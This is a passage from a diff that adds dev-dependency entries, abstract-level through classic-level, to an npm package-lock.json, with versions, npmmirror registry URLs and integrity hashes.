+ "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "dev": true, + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/abstract-level": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/abstract-level/-/abstract-level-1.0.3.tgz", + "integrity": "sha512-t6jv+xHy+VYwc4xqZMn2Pa9DjcdzvzZmQGRjTFc8spIbRGHgBrEKbPq+rYXc7CCo0lxgYvSgKVg9qZAhpVQSjA==", + "dev": true, + "dependencies": { + "buffer": "^6.0.3", + "catering": "^2.1.0", + "is-buffer": "^2.0.5", + "level-supports": "^4.0.0", + "level-transcoder": "^1.0.1", + "module-error": "^1.0.1", + "queue-microtask": "^1.2.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/acorn": { + "version": "8.8.0", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.8.0.tgz", + "integrity": "sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==", + "dev": true, + "peer": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmmirror.com/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/address/-/address-1.2.1.tgz", + "integrity": "sha512-B+6bi5D34+fDYENiH5qOlA0cV2rAGKuWZ9LeyUUehbXy8e0VS9e498yO0Jeeh+iM+6KbfudHTFjXw2MmJD4QRA==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/adm-zip": { + "version": "0.4.16", + "resolved": "https://registry.npmmirror.com/adm-zip/-/adm-zip-0.4.16.tgz", + "integrity": "sha512-TFi4HBKSGfIKsK5YCkKaaFG2m4PEDyViZmEwof3MTIgzimHLto6muaHVpbrljdIvIrFZzEq/p4nafOeLcYegrg==", + "dev": true, + "engines": { + "node": ">=0.3.0" + } + }, + "node_modules/aes-js": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/aes-js/-/aes-js-3.0.0.tgz", + "integrity": "sha512-H7wUZRn8WpTq9jocdxQ2c8x2sKo9ZVmzfRE13GiNJXfp7NcKYEdvl3vspKjXox6RIG2VtaRe4JFvxG4rqp2Zuw==", + "dev": true, + "peer": true + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "peer": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/amdefine": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/amdefine/-/amdefine-1.0.1.tgz", + "integrity": "sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg==", + "dev": true, + "optional": true, + "peer": true, + "engines": { + "node": ">=0.4.2" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmmirror.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/antlr4ts": { + "version": "0.5.0-alpha.4", + "resolved": "https://registry.npmmirror.com/antlr4ts/-/antlr4ts-0.5.0-alpha.4.tgz", + "integrity": "sha512-WPQDt1B74OfPv/IMS2ekXAKkTZIHl88uMetg6q3OTqgFxZ/dxDXI0EWLyZid/1Pe6hTftyg5N7gel5wNAGxXyQ==", + "dev": true, + "peer": true + }, + "node_modules/anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true, + "peer": true + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "node_modules/array-back": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/array-back/-/array-back-3.1.0.tgz", + "integrity": "sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/array-uniq": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/array-uniq/-/array-uniq-1.0.3.tgz", + "integrity": "sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array.prototype.reduce": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz", + "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.2", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "dev": true, + "peer": true + }, + "node_modules/asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmmirror.com/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "dev": true, + "peer": true, + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmmirror.com/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/async-eventemitter": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/async-eventemitter/-/async-eventemitter-0.2.4.tgz", + "integrity": "sha512-pd20BwL7Yt1zwDFy+8MX8F1+WCT8aQeKj0kQnTrH9WaeRETlRamVhD0JtRPmrV4GfOJ2F9CvdQkZeZhnh2TuHw==", + "dev": true, + "dependencies": { + "async": "^2.4.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "peer": true + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmmirror.com/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmmirror.com/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==", + "dev": true, + "peer": true + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base-x": { + "version": "3.0.9", + "resolved": "https://registry.npmmirror.com/base-x/-/base-x-3.0.9.tgz", + "integrity": "sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", + "dev": true, + "peer": true, + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/bcrypt-pbkdf/node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==", + "dev": true, + "peer": true + }, + "node_modules/bech32": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/bech32/-/bech32-1.1.4.tgz", + "integrity": "sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ==", + "dev": true, + "peer": true + }, + "node_modules/bigint-crypto-utils": { + "version": "3.1.6", + "resolved": "https://registry.npmmirror.com/bigint-crypto-utils/-/bigint-crypto-utils-3.1.6.tgz", + "integrity": "sha512-k5ljSLHx94jQTW3+18KEfxLJR8/XFBHqhfhEGF48qT8p/jL6EdiG7oNOiiIRGMFh2wEP8kaCXZbVd+5dYkngUg==", + "dev": true, + "dependencies": { + "bigint-mod-arith": "^3.1.0" + }, + "engines": { + "node": ">=10.4.0" + } + }, + "node_modules/bigint-mod-arith": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/bigint-mod-arith/-/bigint-mod-arith-3.1.1.tgz", + "integrity": "sha512-SzFqdncZKXq5uh3oLFZXmzaZEMDsA7ml9l53xKaVGO6/+y26xNwAaTQEg2R+D+d07YduLbKi0dni3YPsR51UDQ==", + "dev": true, + "engines": { + "node": ">=10.4.0" + } + }, + "node_modules/bignumber.js": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/bignumber.js/-/bignumber.js-9.1.0.tgz", + "integrity": "sha512-4LwHK4nfDOraBCtst+wOWIHbu1vhvAPJK8g8nROd4iuc3PSEjWif/qwbkh8jwCJz6yDBvtU4KPynETgrfh7y3A==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/blakejs": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/blakejs/-/blakejs-1.2.1.tgz", + "integrity": "sha512-QXUSXI3QVc/gJME0dBpXrag1kbzOqCjCX8/b54ntNyW6sjtoqxqRk3LTmXzaJoh71zMsDCjM+47jS7XiwN/+fQ==", + "dev": true + }, + "node_modules/bn.js": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-5.2.1.tgz", + "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==", + "dev": true + }, + "node_modules/browser-level": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/browser-level/-/browser-level-1.0.1.tgz", + "integrity": "sha512-XECYKJ+Dbzw0lbydyQuJzwNXtOpbMSq737qxJN11sIRTErOMShvDpbzTlgju7orJKvx4epULolZAuJGLzCmWRQ==", + "dev": true, + "dependencies": { + "abstract-level": "^1.0.2", + "catering": "^2.1.1", + "module-error": "^1.0.2", + "run-parallel-limit": "^1.1.0" + } + }, + "node_modules/browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "node_modules/browserify-aes": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/browserify-aes/-/browserify-aes-1.2.0.tgz", + "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", + "dev": true, + "dependencies": { + "buffer-xor": "^1.0.3", + "cipher-base": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.3", + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/bs58": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/bs58/-/bs58-4.0.1.tgz", + "integrity": "sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw==", + "dev": true, + "dependencies": { + "base-x": "^3.0.2" + } + }, + "node_modules/bs58check": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/bs58check/-/bs58check-2.1.2.tgz", + "integrity": "sha512-0TS1jicxdU09dwJMNZtVAfzPi6Q6QeN0pM1Fkzrjn+XYHvzMKPU3pHVpva+769iNVSfIYWf7LJ6WR+BuuMf8cA==", + "dev": true, + "dependencies": { + "bs58": "^4.0.0", + "create-hash": "^1.1.0", + "safe-buffer": "^5.1.2" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "dev": true, + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/buffer-xor": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/buffer-xor/-/buffer-xor-1.0.3.tgz", + "integrity": "sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ==", + "dev": true + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmmirror.com/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==", + "dev": true, + "peer": true + }, + "node_modules/catering": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/catering/-/catering-2.1.1.tgz", + "integrity": "sha512-K7Qy8O9p76sL3/3m7/zLKbRkyOlSZAgzEaLhyj2mXS8PsCud2Eo4hAb8aLtZqHh0QGqLcb9dlJSu6lHRVENm1w==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cbor": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/cbor/-/cbor-5.2.0.tgz", + "integrity": "sha512-5IMhi9e1QU76ppa5/ajP1BmMWZ2FHkhAhjeVKQ/EFCgYSEaeVaoGtL7cxJskf9oCCk+XjzaIdc3IuU/dbA/o2A==", + "dev": true, + "peer": true, + "dependencies": { + "bignumber.js": "^9.0.1", + "nofilter": "^1.0.4" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/chai": { + "version": "4.3.6", + "resolved": "https://registry.npmmirror.com/chai/-/chai-4.3.6.tgz", + "integrity": "sha512-bbcp3YfHCUzMOvKqsztczerVgBKSsEijCySNlHHbX3VG1nskvqjz5Rfso1gGwD6w6oOV3eI60pKuMOV5MV7p3Q==", + "dev": true, + "peer": true, + "dependencies": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.2", + "deep-eql": "^3.0.1", + "get-func-name": "^2.0.0", + "loupe": "^2.3.1", + "pathval": "^1.1.1", + "type-detect": "^4.0.5" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chai-as-promised": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/chai-as-promised/-/chai-as-promised-7.1.1.tgz", + "integrity": "sha512-azL6xMoi+uxu6z4rhWQ1jbdUhOMhis2PvscD/xjLqNMkv3BPPp2JyyuTHOrf9BOosGpNQ11v6BKv/g57RXbiaA==", + "dev": true, + "peer": true, + "dependencies": { + "check-error": "^1.0.2" + }, + "peerDependencies": { + "chai": ">= 2.1.2 < 5" + } + }, + "node_modules/chai/node_modules/deep-eql": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/deep-eql/-/deep-eql-3.0.1.tgz", + "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", + "dev": true, + "peer": true, + "dependencies": { + "type-detect": "^4.0.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmmirror.com/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/check-error": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/check-error/-/check-error-1.0.2.tgz", + "integrity": "sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/ci-info": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", + "dev": true + }, + "node_modules/cipher-base": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/cipher-base/-/cipher-base-1.0.4.tgz", + "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/classic-level": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/classic-level/-/classic-level-1.2.0.tgz", + "integrity": 